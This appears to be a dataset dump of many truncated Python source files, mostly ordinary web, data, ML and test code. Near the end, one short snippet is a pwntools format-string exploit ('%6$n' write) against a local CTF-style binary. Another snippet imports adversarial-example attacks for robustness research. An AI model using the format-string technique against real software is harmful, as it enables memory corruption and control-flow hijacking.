text
stringlengths
1
927k
import json import re import unicodedata import string import hashlib def smileys_to_ascii(s): res = [] for i, c in enumerate(s): if c in SMILEYS: res.append(SMILEYS[c]) if i < len(s) - 1 and s[i + 1] in SMILEYS: # separate smileys res.append(' ') elif or...
# automatically generated by the FlatBuffers compiler, do not modify # namespace: MyGame import flatbuffers from flatbuffers.compat import import_numpy np = import_numpy() class MonsterExtra(object): __slots__ = ['_tab'] @classmethod def GetRootAs(cls, buf, offset=0): n = flatbuffers.encode.Get(...
# -*- coding:utf-8 -*- from django.urls import path, include from rest_framework import routers from . import views api_router = routers.DefaultRouter() api_router.register(r'topics', views.TopicAPIView, base_name='api_topics') api_router.register(r'tags', views.TagAPIView, base_name='api_tags') api_router.register(r...
"""Unit tests for direct assembly and evaluation of kernels.""" import numpy as np import pytest @pytest.mark.parametrize("parallel", [True, False]) @pytest.mark.parametrize("dtype,rtol", [(np.float64, 1e-14), (np.float32, 5e-6)]) def test_laplace_assemble(dtype, rtol, parallel): """Test the Laplace kernel.""" ...
#!/usr/bin/env python # # Copyright 2011, Google Inc. # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list...
#! /usr/bin/env python import os import re import math import pyfits import argparse from Utils.Constants import Imager from Utils.TrackableException import TrackableException, ExternalFailure from STAP_comm import STAP_callexternal, print_cmd_line def WCS(imname, outname, astronet=False, timeout=None): """ S...
# Importing Libraries from foolbox.criteria import TargetClass from foolbox.criteria import Misclassification from numpy import linalg as LA import matplotlib.pyplot as plt from foolbox.attacks import CarliniWagnerL2Attack from foolbox.attacks import SaliencyMapAttack from foolbox.attacks import GradientSignAttack ...
"""empty message Revision ID: 0004_notification_stats_date Revises: 0003_add_service_history Create Date: 2016-04-20 13:59:01.132535 """ # revision identifiers, used by Alembic. revision = "0004_notification_stats_date" down_revision = "0003_add_service_history" import sqlalchemy as sa from alembic import op def ...
import _plotly_utils.basevalidators class VisibleValidator(_plotly_utils.basevalidators.EnumeratedValidator): def __init__(self, plotly_name="visible", parent_name="waterfall", **kwargs): super(VisibleValidator, self).__init__( plotly_name=plotly_name, parent_name=parent_name, ...
from discord.ext import commands from discord.utils import escape_markdown from fuzzywuzzy import process as fwp from util.data.guild_data import GuildData class Tags(commands.Cog): def __init__(self, bot): self.bot = bot @commands.command(name="settag", aliases=["edittag", "newtag", "addtag"]) ...
# -*- coding: utf-8 -*- # Copyright (c) St. Anne's University Hospital in Brno. International Clinical # Research Center, Biomedical Engineering. All Rights Reserved. # Distributed under the (new) BSD License. See LICENSE.txt for more info. # Third pary imports import numpy as np from numba import njit # Local import...
import sys import os print(sys.platform)
"""Amazon S3 Module.""" import concurrent.futures import csv import logging import time import uuid from itertools import repeat from typing import Any, Callable, Dict, Iterator, List, Optional, Tuple, Union import boto3 # type: ignore import botocore.exceptions # type: ignore import pandas as pd # type: ignore im...
#!/usr/bin/env python3 # Copyright (c) 2014-2018 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. """Test the rawtransaction RPCs. Test the following RPCs: - createrawtransaction - signrawtransacti...
import numpy as np from model.indexer_v1 import Indexer class QueryAnalizer: def __init__(self, query, document_list, enable_stemming=True, filter_stopwords=True): self.__query = Indexer([query], enable_stemming=enable_stemming, filter_stopwords=filter_stopwords) self.__indexer = Indexer(document...
""" ============================ Contourf and log color scale ============================ Demonstrate use of a log color scale in contourf """ import matplotlib.pyplot as plt import numpy as np from numpy import ma from matplotlib import ticker, cm N = 100 x = np.linspace(-3.0, 3.0, N) y = np.linspace(-2.0, 2.0, N)...
import json import time import MySQLdb from tweepy import OAuthHandler from tweepy import Stream from tweepy.streaming import StreamListener # replace mysql.server with "localhost" if you are running via your own server! # server MySQL username MySQL pass Database name. conn = MyS...
# used to grab template from screen import sys import signal from arknights.player import Player from arknights.resource import save_position import cv2 from arknights.imgops import pil2cv from .common import Bcolors def log(s: str): print(Bcolors.OKGREEN + s + Bcolors.ENDC) def signal_handler(sig): log('Ca...
from __future__ import print_function import os import subprocess import sys import six from kecpkg.files.rendering import render_to_file from kecpkg.utils import (ensure_dir_exists, get_proper_python, NEED_SUBPROCESS_SHELL, venv, echo_success, echo_failure, echo_info) def create_package(...
from chatbot import chatbot from flask import Flask, render_template, request import random import re import webbrowser import smtplib import os trainer_dict = [] app = Flask(__name__) app.static_folder = 'static' @app.route("/") def home(): return render_template("index.html") @app.route("/get") def get_bot_re...
from __future__ import unicode_literals import re from ..en import Provider as AddressProvider class Provider(AddressProvider): # Source: https://www.canadapost.ca/tools/pg/manual/PGaddress-e.asp#1449294 # # 'W' and 'Z' are valid in non-initial position (easily verified in the # wild), but onlin...
"""Tests for :py:mod:`katsdpdisp.data`.""" import numpy as np from numpy.testing import assert_array_equal from katsdpdisp.data import SparseArray def test_sparsearray(fullslots=100,fullbls=10,fullchan=5,nslots=10,maxbaselines=6,islot_new_bls=6): """Simulates the assignment and retrieval of data as it happens in ...
# Copyright (c) 2018, Oracle and/or its affiliates. All rights reserved. # DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. # # The Universal Permissive License (UPL), Version 1.0 # # Subject to the condition set forth below, permission is hereby granted to any # person obtaining a copy of this software, a...
from sameproject.ops.runtime_options import register_option register_option( "functions_subscription_id", "Azure subscription ID in which to provision backend functions.", backend="functions", schema={ "nullable": True, "type": "string", "regex": r"^[\d\w-]+", }, ) register...
import numpy as np from metaworld.policies.action import Action from metaworld.policies.policy import Policy, assert_fully_parsed, move class SawyerCoffeePullV2Policy(Policy): @staticmethod @assert_fully_parsed def _parse_obs(obs): return { 'hand_pos': obs[:3], 'mug_pos':...
#!/usr/bin/env python # Inspired by: # https://hynek.me/articles/sharing-your-labor-of-love-pypi-quick-and-dirty/ import codecs import os import re import sys from pybind11.setup_helpers import Pybind11Extension, build_ext from setuptools import find_packages, setup # PROJECT SPECIFIC NAME = "celerite2" PACKAGES = ...
n = float(input()) print(int(n * 10) % 10)
import os import glob import pandas as pd game_files = glob.glob(os.path.join(os.getcwd(),'games','*.EVE')) game_files.sort() game_frames = [] for game_file in game_files: game_frame = pd.read_csv(game_file, names=['type','multi2','multi3','multi4','multi5','multi6','event']) game_frames.append(game_frame) g...
#!/usr/bin/python3 # -*- coding: utf-8 -*- import sys from . import main # PyDevでの実行にはfrom pkg1 import mainとしないといけない。 sys.exit(main())
import os import torch import src.learning as lr import src.networks as sn import src.losses as sl import src.dataset as ds import numpy as np base_dir = os.path.dirname(os.path.realpath(__file__)) data_dir = '/path/to/EUROC/dataset' # test a given network # address = os.path.join(base_dir, 'results/EUROC/2020_02_18_1...
import os from unittest.mock import MagicMock, call import pytest import torch from ignite.contrib.handlers.polyaxon_logger import * from ignite.engine import Engine, Events, State os.environ["POLYAXON_NO_OP"] = "1" def test_output_handler_with_wrong_logger_type(): wrapper = OutputHandler("tag", output_transf...
from fontTools.misc.py23 import * from fontTools.ttLib import TTFont, newTable from fontTools.varLib import build from fontTools.varLib.mutator import instantiateVariableFont from fontTools.varLib import main as varLib_main, load_masters from fontTools.varLib import set_default_weight_width_slant from fontTools.designs...
# -*- coding: utf-8 -*- import socket import os import logging import sys import glob import mamonsu.lib.platform as platform from mamonsu.lib.plugin import Plugin from mamonsu.plugins.pgsql.driver.checks import is_conn_to_db from mamonsu.lib.default_config import DefaultConfig if platform.PY2: import ConfigParse...
"""## Arithmetic Operators TensorFlow provides several operations that you can use to add basic arithmetic operators to your graph. @@add @@sub @@mul @@div @@mod ## Basic Math Functions TensorFlow provides several operations that you can use to add basic mathematical functions to your graph. @@add_n @@abs @@neg @@...
# Copyright 2018-2020 Amazon.com, Inc. or its affiliates. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"). You # may not use this file except in compliance with the License. A copy of # the License is located at # # http://aws.amazon.com/apache2.0/ # # or in the "license" fil...
from __future__ import absolute_import import sys import numpy as np import torch from torch import nn import os from collections import OrderedDict from torch.autograd import Variable import itertools from .base_model import BaseModel from scipy.ndimage import zoom import fractions import functools import skimage.tra...
"""Tegra T186 pin names""" import atexit import Jetson.GPIO as GPIO GPIO.setmode(GPIO.TEGRA_SOC) GPIO.setwarnings(False) # shh! class Pin: """Pins dont exist in CPython so...lets make our own!""" IN = 0 OUT = 1 LOW = 0 HIGH = 1 PULL_NONE = 0 PULL_UP = 1 PULL_DOWN = 2 id = None...
#!/usr/bin/env python3 from shutil import copy2 from pathlib import Path import sys from .SourceFiles import SourceFiles class SimpleCopy: def __init__(self, source): assert isinstance(source, SourceFiles), 'Not a SourceFiles object.' self.source_object = source self.source_parent = self....
import pytest import torch from d3rlpy.models.encoders import DefaultEncoderFactory from d3rlpy.models.torch.dynamics import ( ProbabilisticDynamicsModel, ProbabilisticEnsembleDynamicsModel, _compute_ensemble_variance, ) from .model_test import DummyEncoder, check_parameter_updates @pytest.mark.parametr...
"""Platform Models.""" from marshmallow import fields, Schema from marshmallow.validate import OneOf from ..enums import * from ..models.BaseSchema import BaseSchema class SaveAttributeRequest(BaseSchema): # Feedback swagger.json description = fields.Str(required=False) name = fields.Str...
from __future__ import print_function, division import itertools import re import sys import os import platform import numpy as np import model from config import config CLUE_PATTERN = r'^([a-zA-Z]+) ({0})$' UNLIMITED = "unlimited" # noinspection PyAttributeOutsideInit class GameEngine(object): def __init__(...
# Copyright 2016 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or ...
from .env_spec import EnvSpec import collections from cached_property import cached_property class Env(object): def step(self, action): """ Run one timestep of the environment's dynamics. When end of episode is reached, reset() should be called to reset the environment's internal state. ...
# Originally by Wolfgang Pfaff # Modified by Adriaan Rol 9/2015 # Modified by Ants Remm 5/2017 # Modified by Michael Kerschbaum 5/2019 import os import shutil import ctypes import numpy as np import logging from qcodes.instrument.base import Instrument from qcodes.instrument.parameter import ( ManualParameter, Inst...
""" Copyright (c) 2021, NVIDIA CORPORATION. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in ...
import logging from typing import Type import pytest from scrapy import Request from scrapy.crawler import CrawlerProcess from scrapy.http import HtmlResponse from scrapy.signalmanager import dispatcher from scrapy.utils.project import get_project_settings from twisted.python.failure import Failure from rmq.utils imp...
import pytest from pytest import approx from pytest import mark import numpy as np from numpy.testing import assert_allclose from okama import EfficientFrontier @mark.frontier def test_init_efficient_frontier(): with pytest.raises(Exception, match=r'The number of symbols cannot be less than two'): Effic...
from django.shortcuts import render from django.views import View from django.http import HttpResponse from django.utils.decorators import method_decorator # Create your views here. """ 类视图必须继承View 类视图中的方法名都必须是请求方法名小写 """ def my_decorator(view_func): """定义装饰器""" def wrapper(request, *args, **kwargs): ...
import reporting.report_builder.api import reporting.report_builder.this_is_a_violation import reporting.report_builder.this_is_a_grandfathered_violation
# Primary Python Files for Image Classification import numpy as np import pandas as pd import os os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' # dont show any tensorflow warning messages import cv2 # Keras libraries used for making the model and tensorflow import tensorflow, keras from tensorflow.keras.utils import to_ca...
# -*- coding: utf-8 -*- from json import dumps from unittest import TestCase import pytest from werkzeug.exceptions import NotFound from projects.controllers.dependencies import list_dependencies, list_next_operators, \ create_dependency, delete_dependency from projects.controllers.utils import uuid_alpha from pr...
# AUTOGENERATED BY NBDEV! DO NOT EDIT! __all__ = ["index", "modules", "custom_doc_links", "git_url"] index = {"request_headers": "00_core.ipynb", "get_as_raw_json": "00_core.ipynb", "get_next_as_raw_json": "00_core.ipynb", "timestamp_now": "00_core.ipynb", "new_bundle": "00_core.ip...
import os from flask import Flask, render_template, request, redirect, url_for app = Flask(__name__) @app.route('/', methods=['GET']) def index(): return render_template('index.html') if __name__ == '__main__': port = int(os.environ.get('PORT', 5000)) app.run(host='0.0.0.0', port=port, debug=True)
import json import matplotlib matplotlib.use('Agg') # This is hacky (useful for running on VMs) import numpy as np import os import time import torch from anode.models import ODENet from anode.conv_models import ConvODENet from anode.discrete_models import ResNet from anode.training import Trainer from experiments.dat...
# Tweepy # Copyright 2009-2010 Joshua Roesslein # See LICENSE for details. from tweepy.error import TweepError from tweepy.utils import parse_datetime, parse_html_value, parse_a_href class ResultSet(list): """A list like object that holds results from a Twitter API query.""" def __init__(self, max_id=None, s...
############################################################################### ## ## Copyright (C) 2014-2016, New York University. ## Copyright (C) 2011-2014, NYU-Poly. ## Copyright (C) 2006-2011, University of Utah. ## All rights reserved. ## Contact: contact@vistrails.org ## ## This file is part of VisTrails. ## ## ...
# coding: utf-8 # /*########################################################################## # # Copyright (c) 2004-2020 European Synchrotron Radiation Facility # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to d...
# Copyright (C) 2015, 2016 GoSecure Inc. """ Telnet User Session management for the Honeypot @author: Olivier Bilodeau <obilodeau@gosecure.ca> """ import traceback from twisted.conch.ssh import session from twisted.conch.telnet import ECHO, SGA, TelnetBootstrapProtocol from twisted.internet import interfaces, proto...
#!/usr/bin/python """ Wrapper to fuse score and compute EER and min tDCF Simple score averaging. Usage: python 03_fuse_score_evaluate.py log_output_testset_1 log_output_testset_2 ... The log_output_testset is produced by the pytorch code, for example, ./lfcc-lcnn-lstmsum-am/01/__pretrained/log_output_testset It has...
from sqlalchemy import create_engine from sqlalchemy.orm import sessionmaker from alchemy_decl import Base, Book, Author engine = create_engine("mysql+mysqlconnector://root:root@localhost/pylounge2", echo=True) # Флаг echo включает ведение лога через стандартный модуль logging Питона. # Когда он включен, мы увидим все...
import torch import numpy as np def store_value(main_array,cu_fl,i,name): cu_uint8 = cu_fl.type(torch.ByteTensor) main_array = torch.cat((main_array,cu_uint8),0) #print(i) if (i + 1)%100 == 0: main_array_np = main_array.cpu().numpy() np.save(name + str(int(i/100)) + '.npy',main_array[1:,:,:,:]) main_array...
import tkinter as tk from tkinter import Frame, Button, Tk, TclError from typing import Dict, Optional from tanager_feeder import utils class Dialog: def __init__( self, controller, title: str, label: str, buttons: Dict, width: Optional[int] = None, height:...
# Copyright 2021 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
from django.apps import AppConfig class SpiderMarketConfig(AppConfig): name = 'spider_market'
import tests.model_control.test_ozone_custom_models_enabled as testmod testmod.build_model( ['Difference'] , ['PolyTrend'] , ['Seasonal_DayOfWeek'] , ['NoAR'] );
import datetime from enum import Enum class EventType(Enum): TERMINATOR = "Terminator" # betfair objects MARKET_CATALOGUE = "MarketCatalogue" MARKET_BOOK = "MarketBook" RAW_DATA = "Raw streaming data" CURRENT_ORDERS = "CurrentOrders" CLEARED_MARKETS = "ClearedMarkets" CLEARED_ORDERS = ...
#!/usr/bin/env python # -*- coding: utf-8 -*- # # --------------------------------------------------------------------- import random import QDS import math QDS.Initialize("Test2", "Test for Lightcrafter") #QDS.setColorMode((8,7,7), (0,1,1), 0) #QDS.setColorMode((8,8,8), (0,0,0), 0) #QDS.setColorMode((0,0,0), (0,0,...
import math T=int(input()) while T>0: N=int(input()) nums1,nums2=[],[] if N==1: print("NO") elif N==2: print("NO") elif int(N/2)%2==0: l=1 r=N sum1=0 sum2=0 for i in range(int(N/2)): if l<=int(N/4): nums1.app...
#!/usr/bin/env python # Licensed to Cloudera, Inc. under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. Cloudera, Inc. licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you ma...
# # Copyright (c) 2019 Intel Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
# # Copyright (c) 2015 Juniper Networks, Inc. All rights reserved. # import argparse, os, ConfigParser, sys, re from pysandesh.sandesh_base import * from pysandesh.gen_py.sandesh.ttypes import SandeshLevel class CfgParser(object): CONF_DEFAULT_PATH = '/etc/contrail/contrail-topology.conf' def __init__(self, ar...
import numpy as np import torch.nn as nn import json def log(epoch, task_id, log_dict, logbook): log_dict["message"] = f"task_{task_id}_metrics" log_dict["task_id"] = task_id log_dict["task_epoch"] = epoch log_dict["step"] = epoch logbook.write_metric(log_dict) def log_task(task_id, log_dict, lo...
#================================================================================== # ctypes type C type Python type #================================================================================== # c_bool _Bool bool (1) #-------------------------------------------------------------------------------...
class NoTrezorFoundError(Exception): """No plugged Trezor wallet was found.""" pass class InvalidCofrFileError(Exception): """The file is invalid and cannot be parsed.""" pass
#!/usr/bin/env python ''' Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the Apache License, Version 2.0 (the "License")...
from pytest_bdd import given, when, then from model.group import Group import random @given('a group list') def group_list(db): return db.get_group_list() @given('a group with <name>, <header> and <footer>') def new_group(name, header, footer): return Group(name=name, header=header, footer=footer) @when ('I ...
import random import string from typing import Dict import demistomock as demisto from CommonServerPython import * from CommonServerUserPython import * import sys import traceback import json import os import hashlib from datetime import timedelta from io import StringIO import logging import warnings import email fr...
""" Tests for PyPoE.poe.patchserver Overview =============================================================================== +----------+------------------------------------------------------------------+ | Path | tests/PyPoE/poe/test_patchserver.py | +----------+---------------------...
import os from distutils.command.build import build from django.core import management from setuptools import find_packages, setup from pretix_eventparts import __version__ try: with open( os.path.join(os.path.dirname(__file__), "README.rst"), encoding="utf-8" ) as f: long_description = f.re...
from algebreb.listas.listas_ecuaciones_univariables import ListaEcuacionesGrado1 from sympy.abc import a, b, c, x, y , z import json caracteristicas = {} caracteristicas['cantidad'] = 10 caracteristicas['variables'] = [a] caracteristicas['dominio'] = 'ZZ' caracteristicas['fraccion'] = False caracteristicas['cmin'] = 1...
import datetime import unittest from conflowgen.application.models.container_flow_generation_properties import ContainerFlowGenerationProperties from conflowgen.domain_models.distribution_repositories.mode_of_transport_distribution_repository import \ ModeOfTransportDistributionRepository from conflowgen.previews....
def transform_column_values(target_replacement_dictionary, target_column_headers_list, dataset): """ Replaces values in columns by using a dictionary of conversions (e.g., in order to quantify likert scales). :param target_replacement_dictionary: (dict) A dictionary in which *keys* are old (target) values ...
# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # d...
""" This file aggregates various abstract classes and exception types which BoozeTools deals in. There's a principle of object-oriented design which says "ask not for data, but for help." At first glance the ADTs for FiniteAutomaton and ParseTable appear to respect that dictum only by its violation, as suggested by al...
# # KTH Royal Institute of Technology # DD2424: Deep Learning in Data Science # Assignment 4 # # Carlo Rapisarda (carlora@kth.se) # import numpy as np import matplotlib.pyplot as plt import dataset as dt from os.path import exists from model import RNNet from utilities import compute_grads_numerical, compare_grads, un...
""" Django settings for mysite project. Generated by 'django-admin startproject' using Django 2.1.5. For more information on this file, see https://docs.djangoproject.com/en/2.1/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.1/ref/settings/ """ import os # ...
#!/usr/bin/env python """Library module setup.""" import re import sys from setuptools import find_packages, setup from setuptools.command.test import test as TestCommand class PyTest(TestCommand): """PyTest controller.""" # Code from here: # https://docs.pytest.org/en/latest/goodpractices.html#manual-...
# Generated by Django 2.2.5 on 2019-09-04 08:09 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('challenge', '0001_initial'), ] operations = [ migrations.AddField( model_name='release', name='sparql_endpoint', ...
import os import json from glob import glob from pathlib import Path ROOT_PATH = Path(os.path.dirname(__file__)).parent # iterate through data files raw_data = json.load(open(f'{ROOT_PATH}/data/raw/raw_data.json')) cell_coord = {} for k, v in raw_data.items(): if v['coordinates_class'] not in cell_coord: ...
# Copyright 2016 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or ...
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (t...
#!/usr/bin/env python # coding: utf-8 # In[1]: import torch import torch.nn as nn import torch.nn.functional as F # In[2]: class Decoder(nn.Module): def __init__(self, output_dim, emb_dim, enc_hid_dim, dec_hid_dim, dropout_rate, attention): super().__init__() self.output_dim = output...
import pyaf.Bench.TS_datasets as tsds import pyaf.tests.artificial.process_artificial_dataset as art art.process_dataset(N = 128 , FREQ = 'D', seed = 0, trendtype = "Lag1Trend", cycle_length = 30, transform = "Difference", sigma = 0.0, exog_count = 20, ar_order = 0);
# encoding: utf-8 import datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Changing field 'Invoice.date_created' db.alter_column(u'accounting_invoice', 'date_created', self.gf('dj...
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations import markupfield.fields import django.utils.timezone from django.conf import settings class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODE...
import os.path as osp from PIL import Image import numpy as np from scipy.misc import imsave from tqdm import tqdm import shutil from ...utils.file import walkdir from ...utils.file import may_make_dir from .market1501 import Market1501 class CUHK03NpDetectedJpg(Market1501): has_pap_mask = True has_ps_label =...
def add(x,y): return x+y
from pwn import * def forc(): sh = process('./overwrite') c_addr = int(sh.recvuntil('\n', drop=True), 16) print hex(c_addr) payload = p32(c_addr) + '%012d' + '%6$n' print payload #gdb.attach(sh) sh.sendline(payload) print sh.recv() sh.interactive() def fora(): sh = process('....
# Test logging stuff import dapt, logging logger = logging.getLogger('sample logger') logger.setLevel(logging.DEBUG) # create console handler and set level to debug ch = logging.StreamHandler() ch.setLevel(logging.DEBUG) # add formatter to ch ch.setFormatter(logging.Formatter('%(asctime)s - %(name)s - %(levelname)...
from django.db import models from core.utils import validate_slug from labour.models import ObsoleteSignupExtraBaseV1 TOTAL_WORK_CHOICES = [ ('minimi', 'Haluan tehdä vain minimityöpanoksen (JV: 10h, muut: 8h)'), ('ekstra', 'Olen valmis tekemään lisätunteja'), ] KORTITON_JV_HETU_LABEL = 'Henkilötunnus' KORTI...